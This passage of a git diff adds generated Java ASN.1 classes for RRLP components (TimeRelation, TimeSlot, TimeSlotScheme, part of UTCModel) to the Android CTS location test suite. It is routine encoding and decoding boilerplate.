+ }
+
+
+ private RefQuality refQuality_;
+ public RefQuality getRefQuality() {
+ return refQuality_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RefQuality
+ */
+ public void setRefQuality(Asn1Object value) {
+ this.refQuality_ = (RefQuality) value;
+ }
+ public RefQuality setRefQualityToNewInstance() {
+ refQuality_ = new RefQuality();
+ return refQuality_;
+ }
+
+ private NumOfMeasurements numOfMeasurements_;
+ public NumOfMeasurements getNumOfMeasurements() {
+ return numOfMeasurements_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NumOfMeasurements
+ */
+ public void setNumOfMeasurements(Asn1Object value) {
+ this.numOfMeasurements_ = (NumOfMeasurements) value;
+ }
+ public NumOfMeasurements setNumOfMeasurementsToNewInstance() {
+ numOfMeasurements_ = new NumOfMeasurements();
+ return numOfMeasurements_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefQuality() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefQuality();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefQualityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RefQuality.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refQuality : "
+ + getRefQuality().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getNumOfMeasurements() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNumOfMeasurements();
+ }
+
+ @Override public void setToNewInstance() {
+ setNumOfMeasurementsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NumOfMeasurements.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "numOfMeasurements : "
+ + getNumOfMeasurements().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("TOA_MeasurementsOfRef = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeRelation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeRelation.java
new file mode 100755
index 0000000..40aee9b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeRelation.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class TimeRelation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_TimeRelation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TimeRelation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimeRelation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimeRelation != null) {
+ return ImmutableList.of(TAG_TimeRelation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TimeRelation from encoded stream.
+ */
+ public static TimeRelation fromPerUnaligned(byte[] encodedBytes) {
+ TimeRelation result = new TimeRelation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimeRelation from encoded stream.
+ */
+ public static TimeRelation fromPerAligned(byte[] encodedBytes) {
+ TimeRelation result = new TimeRelation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSTOW23b gpsTOW_;
+ public GPSTOW23b getGpsTOW() {
+ return gpsTOW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTOW23b
+ */
+ public void setGpsTOW(Asn1Object value) {
+ this.gpsTOW_ = (GPSTOW23b) value;
+ }
+ public GPSTOW23b setGpsTOWToNewInstance() {
+ gpsTOW_ = new GPSTOW23b();
+ return gpsTOW_;
+ }
+
+ private GSMTime gsmTime_;
+ public GSMTime getGsmTime() {
+ return gsmTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GSMTime
+ */
+ public void setGsmTime(Asn1Object value) {
+ this.gsmTime_ = (GSMTime) value;
+ }
+ public GSMTime setGsmTimeToNewInstance() {
+ gsmTime_ = new GSMTime();
+ return gsmTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTOW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTOW();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTOWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTOW23b.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTOW : "
+ + getGpsTOW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGsmTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGsmTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGsmTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GSMTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gsmTime : "
+ + getGsmTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("TimeRelation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlot.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlot.java
new file mode 100755
index 0000000..bb62624
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlot.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TimeSlot extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TimeSlot
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TimeSlot() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimeSlot;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimeSlot != null) {
+ return ImmutableList.of(TAG_TimeSlot);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TimeSlot from encoded stream.
+ */
+ public static TimeSlot fromPerUnaligned(byte[] encodedBytes) {
+ TimeSlot result = new TimeSlot();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimeSlot from encoded stream.
+ */
+ public static TimeSlot fromPerAligned(byte[] encodedBytes) {
+ TimeSlot result = new TimeSlot();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TimeSlot = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlotScheme.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlotScheme.java
new file mode 100755
index 0000000..8ecb633
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlotScheme.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TimeSlotScheme extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ equalLength(0),
+ variousLength(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_TimeSlotScheme
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TimeSlotScheme() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimeSlotScheme;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimeSlotScheme != null) {
+ return ImmutableList.of(TAG_TimeSlotScheme);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new TimeSlotScheme from encoded stream.
+ */
+ public static TimeSlotScheme fromPerUnaligned(byte[] encodedBytes) {
+ TimeSlotScheme result = new TimeSlotScheme();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimeSlotScheme from encoded stream.
+ */
+ public static TimeSlotScheme fromPerAligned(byte[] encodedBytes) {
+ TimeSlotScheme result = new TimeSlotScheme();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TimeSlotScheme = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCModel.java
new file mode 100755
index 0000000..b299639
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCModel.java
@@ -0,0 +1,1293 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTCModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTCModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTCModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTCModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTCModel != null) {
+ return ImmutableList.of(TAG_UTCModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTCModel from encoded stream.
+ */
+ public static UTCModel fromPerUnaligned(byte[] encodedBytes) {
+ UTCModel result = new UTCModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTCModel from encoded stream.
+ */
+ public static UTCModel fromPerAligned(byte[] encodedBytes) {
+ UTCModel result = new UTCModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTCModel.utcA1Type utcA1_;
+ public UTCModel.utcA1Type getUtcA1() {
+ return utcA1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcA1Type
+ */
+ public void setUtcA1(Asn1Object value) {
+ this.utcA1_ = (UTCModel.utcA1Type) value;
+ }
+ public UTCModel.utcA1Type setUtcA1ToNewInstance() {
+ utcA1_ = new UTCModel.utcA1Type();
+ return utcA1_;
+ }
+
+ private UTCModel.utcA0Type utcA0_;
+ public UTCModel.utcA0Type getUtcA0() {
+ return utcA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcA0Type
+ */
+ public void setUtcA0(Asn1Object value) {
+ this.utcA0_ = (UTCModel.utcA0Type) value;
+ }
+ public UTCModel.utcA0Type setUtcA0ToNewInstance() {
+ utcA0_ = new UTCModel.utcA0Type();
+ return utcA0_;
+ }
+
+ private UTCModel.utcTotType utcTot_;
+ public UTCModel.utcTotType getUtcTot() {
+ return utcTot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcTotType
+ */
+ public void setUtcTot(Asn1Object value) {
+ this.utcTot_ = (UTCModel.utcTotType) value;
+ }
+ public UTCModel.utcTotType setUtcTotToNewInstance() {
+ utcTot_ = new UTCModel.utcTotType();
+ return utcTot_;
+ }
+
+ private UTCModel.utcWNtType utcWNt_;
+ public UTCModel.utcWNtType getUtcWNt() {
+ return utcWNt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcWNtType
+ */
+ public void setUtcWNt(Asn1Object value) {
+ this.utcWNt_ = (UTCModel.utcWNtType) value;
+ }
+ public UTCModel.utcWNtType setUtcWNtToNewInstance() {
+ utcWNt_ = new UTCModel.utcWNtType();
+ return utcWNt_;
+ }
+
+ private UTCModel.utcDeltaTlsType utcDeltaTls_;
+ public UTCModel.utcDeltaTlsType getUtcDeltaTls() {
+ return utcDeltaTls_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcDeltaTlsType
+ */
+ public void setUtcDeltaTls(Asn1Object value) {
+ this.utcDeltaTls_ = (UTCModel.utcDeltaTlsType) value;
+ }
+ public UTCModel.utcDeltaTlsType setUtcDeltaTlsToNewInstance() {
+ utcDeltaTls_ = new UTCModel.utcDeltaTlsType();
+ return utcDeltaTls_;
+ }
+
+ private UTCModel.utcWNlsfType utcWNlsf_;
+ public UTCModel.utcWNlsfType getUtcWNlsf() {
+ return utcWNlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcWNlsfType
+ */
+ public void setUtcWNlsf(Asn1Object value) {
+ this.utcWNlsf_ = (UTCModel.utcWNlsfType) value;
+ }
+ public UTCModel.utcWNlsfType setUtcWNlsfToNewInstance() {
+ utcWNlsf_ = new UTCModel.utcWNlsfType();
+ return utcWNlsf_;
+ }
+
+ private UTCModel.utcDNType utcDN_;
+ public UTCModel.utcDNType getUtcDN() {
+ return utcDN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcDNType
+ */
+ public void setUtcDN(Asn1Object value) {
+ this.utcDN_ = (UTCModel.utcDNType) value;
+ }
+ public UTCModel.utcDNType setUtcDNToNewInstance() {
+ utcDN_ = new UTCModel.utcDNType();
+ return utcDN_;
+ }
+
+ private UTCModel.utcDeltaTlsfType utcDeltaTlsf_;
+ public UTCModel.utcDeltaTlsfType getUtcDeltaTlsf() {
+ return utcDeltaTlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCModel.utcDeltaTlsfType
+ */
+ public void setUtcDeltaTlsf(Asn1Object value) {
+ this.utcDeltaTlsf_ = (UTCModel.utcDeltaTlsfType) value;
+ }
+ public UTCModel.utcDeltaTlsfType setUtcDeltaTlsfToNewInstance() {
+ utcDeltaTlsf_ = new UTCModel.utcDeltaTlsfType();
+ return utcDeltaTlsf_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcA1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcA1();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcA1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcA1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcA1 : "
+ + getUtcA1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcA0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcA0 : "
+ + getUtcA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcTot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcTot();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcTotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcTotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcTot : "
+ + getUtcTot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcWNt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcWNt();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcWNtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcWNtType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcWNt : "
+ + getUtcWNt().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDeltaTls() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDeltaTls();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDeltaTlsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcDeltaTlsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDeltaTls : "
+ + getUtcDeltaTls().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcWNlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcWNlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcWNlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.utcWNlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
